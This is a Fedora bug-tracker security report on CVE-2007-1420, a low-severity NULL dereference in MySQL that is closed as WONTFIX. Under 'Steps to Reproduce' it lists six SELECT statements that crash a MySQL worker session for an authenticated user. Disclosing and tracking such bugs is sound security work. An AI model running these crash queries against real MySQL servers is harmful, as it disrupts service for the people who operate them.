Bug 232604 - CVE-2007-1420 Single MySQL worker can be crashed (NULL deref) with certain SELECT statements
CVE-2007-1420 Single MySQL worker can be crashed (NULL deref) with certain SE...
Status: CLOSED WONTFIX
Product: Fedora
Classification: Fedora
Component: mysql (Show other bugs)
5
All Linux
low Severity low
: ---
: ---
Assigned To: Tom Lane
David Lawrence
http://www.securityfocus.com/bid/2290...
impact=low,source=gentoo,reported=200...
: Security
Depends On:
Blocks:
  Show dependency treegraph
 
Reported: 2007-03-16 08:19 EDT by Lubomir Kundrak
Modified: 2013-07-02 23:12 EDT (History)
2 users (show)

See Also:
Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Environment:
Last Closed: 2007-08-02 08:25:15 EDT
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
CRM:
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: ---


Attachments (Terms of Use)

  None (edit)
Description Lubomir Kundrak 2007-03-16 08:19:13 EDT
+++ This bug was initially created as a clone of Bug #232603 +++

Description of problem:

A NULL pointer dereference occurs after issuing the SELECT statements
below. Security impact is very limited, as only one worker crashes, leaving
the server running and ready for service. Additionally, an attacker must be
authenticated and permitted to execute arbitrary SELECT statements.

Version-Release number of selected component (if applicable):

Does not affect MySQL 4.

How reproducible:

Always, by an authenticated user.

Steps to Reproduce:

SELECT ASCII((SELECT table_name FROM information_schema.columns ORDER BY 1));
SELECT TRIM(LEADING FROM (SELECT table_name FROM information_schema.columns
ORDER BY 1));
SELECT SUBSTR((SELECT table_name FROM information_schema.tables ORDER BY 1),1,1);
SELECT UPPER((SELECT table_name FROM information_schema.tables ORDER BY 1));
SELECT RTRIM((SELECT table_name FROM information_schema.tables ORDER BY 1));
SELECT RPAD((SELECT table_name FROM information_schema.tables ORDER BY 1),1,'lol')
  
Actual results:

The session closes prematurely, fault message in the log file.

Expected results:

I expected it to crash. I like this section of a bug report.
Comment 1 Lubomir Kundrak 2007-03-16 08:20:31 EDT
Both FC5 and FC6.
Comment 2 Lubomir Kundrak 2007-08-02 08:25:15 EDT
Closing this -- there's FC5 is EOL, and anyways, there's no point in spending
time on fixing this, as it imposes no real threat and is triggerable only by
an authenticated user.

Note You need to log in before you can comment on or make changes to this bug.